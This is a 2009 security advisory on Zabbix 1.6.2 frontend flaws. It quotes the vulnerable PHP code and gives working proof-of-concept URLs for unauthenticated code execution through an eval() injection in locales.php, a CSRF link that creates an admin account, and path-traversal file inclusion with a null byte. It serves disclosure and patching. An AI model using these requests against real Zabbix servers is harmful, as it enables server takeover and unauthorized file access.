Zabbix 1.6.2 Frontend Multiple Vulnerabilities

Zabbix 1.6.2 Frontend Multiple Vulnerabilities Name Multiple Vulnerabilities in Zabbix Frontend Systems Affected Zabbix 1.6.2 and possibly earlier versions Severity High Impact (CVSSv2) High 9.7/10, vector: (AV:N/AC:L/Au:N/C:P/I:C/A:C) Vendor http://www.zabbix.com/ Advisory http://www.ush.it/team/ush/hack-zabbix_162/adv.txt Authors Antonio "s4tan" Parata (s4tan AT ush DOT it) Francesco "ascii" Ongaro (ascii AT ush DOT it) Giovanni "evilaliv3" Pellerano (evilaliv3 AT digitalbullets DOT org) Date 20090303 I. BACKGROUND >From the Zabbix web site: "ZABBIX offers advanced monitoring, alerting and visualization features today which are missing in other monitoring systems, even some of the best commercial ones". II. DESCRIPTION Multiple Vulnerabilities exist in Zabbix front end software. III. ANALYSIS Summary: A) Remote Code Execution B) Cross Site Request Forgery C) Local File Inclusion A) Remote Code Execution A Remote Code Execution issue has been found in Zabbix version 1.6.2 and no authentication is required in order to exploit this vulnerability. The Magic Quotes must be off in order to exploit this vulnerability, however this feature will not be supported starting with PHP 6.0 (ref. http://it2.php.net/magic_quotes). Zabbix has a security feature that parses all incoming input for possible bad chars with the help of the function check_fields() defined in "include/validate.inc.php". The issue we have discovered is contained in this input validation code. Pages define an array of every used variable that derives from external (GPC) input. An example of the mechanism is the following: --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- $fields=array( "config"=> array(T_ZBX_INT, O_OPT, P_SYS, IN("0,1"), NULL), // actions "groupid"=> array(T_ZBX_INT, O_OPT, P_SYS|P_NZERO, DB_ID, NULL), "hostid"=> array(T_ZBX_INT, O_OPT, P_SYS|P_NZERO, DB_ID, NULL), "start"=> array(T_ZBX_INT, O_OPT, P_SYS, BETWEEN(0,65535)."({}%". PAGE_SIZE."==0)", NULL), "next"=> array(T_ZBX_STR, O_OPT, P_SYS, NULL, NULL), "prev"=> array(T_ZBX_STR, O_OPT, P_SYS, NULL, NULL), // filter "filter_rst"=> array(T_ZBX_INT, O_OPT, P_SYS, IN(array(0,1)), NULL), "filter_set"=> array(T_ZBX_STR, O_OPT, P_SYS, null, NULL), "userid"=> array(T_ZBX_INT, O_OPT, P_SYS, DB_ID, NULL), 'filter_timesince'=> array(T_ZBX_INT, O_OPT, P_UNSET_EMPTY, null, NULL), 'filter_timetill'=> array(T_ZBX_INT, O_OPT, P_UNSET_EMPTY, null, NULL), //ajax 'favobj'=> array(T_ZBX_STR, O_OPT, P_ACT, NULL, NULL), 'favid'=> array(T_ZBX_STR, O_OPT, P_ACT, NOT_EMPTY, 'isset({favobj})'), 'state'=> array(T_ZBX_INT, O_OPT, P_ACT, NOT_EMPTY, 'isset({favobj}) && ("filter"=={favobj})'), ); check_fields($fields); --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- After the definition of the "$fields" array all the variables are checked by the function check_fields(). The main step of the check_fields() function is: --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- foreach($fields as $field => $checks){ $err |= check_field($fields, $field, $checks); } --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- Following the check_field() function we have identified that the function's main steps are the creation of some local variables using list() and a consequent call of calc_exp() (which resides in the same file). --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- list($type, $opt, $flags, $validation, $exception) = $checks; [...] $except=calc_exp($fields,$field,$exception); --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- calc_exp()'s code is: --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- function calc_exp($fields,$field,$expression){ if(zbx_strstr($expression,"{}") && !isset($_REQUEST[$field])) return FALSE; if(zbx_strstr($expression,"{}") && !is_array($_REQUEST[$field])) $expression = str_replace("{}",'$_REQUEST["'.$field.'"]',$expression); if(zbx_strstr($expression,"{}") && is_array($_REQUEST[$field])){ foreach($_REQUEST[$field] as $key => $val){ $expression2 = str_replace("{}",'$_REQUEST["'.$field.'"]["'.$key.'"]',$expression); if(calc_exp2($fields,$field,$expression2)==FALSE) return FALSE; } return TRUE; } return calc_exp2($fields,$field,$expression); } --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- As you can see we should be able to call calc_exp2(), our vulnerable function, avoiding to fall into a breach that exits (returns) from the function. Investigating calc_exp2()'s source: --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- function calc_exp2($fields,$field,$expression){ foreach($fields as $f => $checks){ $expression = str_replace('{'.$f.'}','$_REQUEST["'.$f.'"]',$expression); } $expression = trim($expression,"& "); $exec = "return (".$expression.") ? 1 : 0;"; $ret = eval($exec); return $ret; } --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- We have reached a function that contains an eval() call of the "$exec" variable that contains user controlled data. To better understand how the executed string is composed we must find a disposable page. Thanks to "locales.php" we can reach this function without any authentication. Now if we try to execute the query: /locales.php?download&langTo&extlang[AAA]=1 The value of $exec is the following: return (($_REQUEST["extlang"]["AAA"]!='')) ? 1 : 0; Some constraints exist: the injected payload must comply with the calc_exp()'s requirements in order to call calc_exp2() and the created string must be syntactically correct. What we can do is to play with the key values of the array. An intermediate test was: /locales.php?download&langTo&extlang[AAA"];phpinfo();]=1 But it generates a syntax error. After some thinking the problem was solved in this way: /locales.php?download&langTo&extlang[".phpinfo()."]=1 Now the syntax is correct and the payload gets executed. B) Cross Site Request Forgery A CSRF vulnerability exists in file "users.php". If the admin visits the following link: /users.php?config=0&save&alias=alias&name=foo&surname=foo&user_type=3& lang=lang&theme=theme&autologout=0&url=url&refresh=0 A user with admin permissions is created. C) Local File Inclusion If the user is authenticated, a Local File Inclusion vulnerability exists in file "locales.php". The following URL exploits this vulnerability: /locales.php?action=1&next=1&srclang=../validate&extlang=en A string in the form of ".inc.php" is automatically appended to the local file path. Despite that it's possible to include every target file truncating the filename using %00 (nullbyte): /locales.php?next=1&srclang=../../../../../../../var/log/apache2/error_log%00%22 Nullbyte injection normally requires magic quotes off. The vulnerable code is the following: --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- 'srclang'=> array(T_ZBX_STR, O_OPT, NULL, NOT_EMPTY, 'isset({next})'), [...] else if(isset($_REQUEST['next'])){ [...] $fileFrom = 'include/locales/'.$_REQUEST['srclang'].".inc.php"; if(file_exists($fileFrom)){ include($fileFrom); --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- IV. DETECTION Zabbix 1.6.2 and possibly earlier versions are vulnerable. V. WORKAROUND Update zabbix from svn the server (svn://svn.zabbix.com) or download version 1.6.3 when aviable. VI. VENDOR RESPONSE Vendor will fix all the exposed vulnerabilities in Zabbix 1.6.3. VII. CVE INFORMATION No CVE at this time. VIII. DISCLOSURE TIMELINE 20081215 Bug discovered 20090116 Initial vendor contact 20090116 Vendor Response (Fixes will be included in Zabbix 1.6.3) 20090130 Second email (When this is going to be fixed?) 20090131 Vendor Response (Everything has been fixed a week ago and is publicy aviable in the SVN, Zabbix 1.6.3 will be released within 10-15 days) 20090220 Third email (20 days elasped and no response, we will release on 23 Feb) 20090220 Vendor Response (Postpone of 5-10 days required) 20090220 Third email (We will wait 5-10 days, 2 March is the deadline if no contact) 20090303 Forced Advisory Release IX. CREDIT Antonio "s4tan" Parata, Francesco "ascii" Ongaro and Giovanni "evilaliv3" Pellerano are credited with the discovery of this vulnerability. Antonio "s4tan" Parata web site: http://www.ictsc.it/ mail: s4tan AT ictsc DOT it, s4tan AT ush DOT it Francesco "ascii" Ongaro web site: http://www.ush.it/ mail: ascii AT ush DOT it Giovanni "evilaliv3" Pellerano web site: http://www.evilaliv3.org mail: giovanni.pellerano AT evilaliv3 DOT org X. LEGAL NOTICES Copyright (c) 2009 Francesco "ascii" Ongaro Permission is granted for the redistribution of this alert electronically. It may not be edited in any way without mine express written consent. If you wish to reprint the whole or any part of this alert in any other medium other than electronically, please email me for permission. Disclaimer: The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.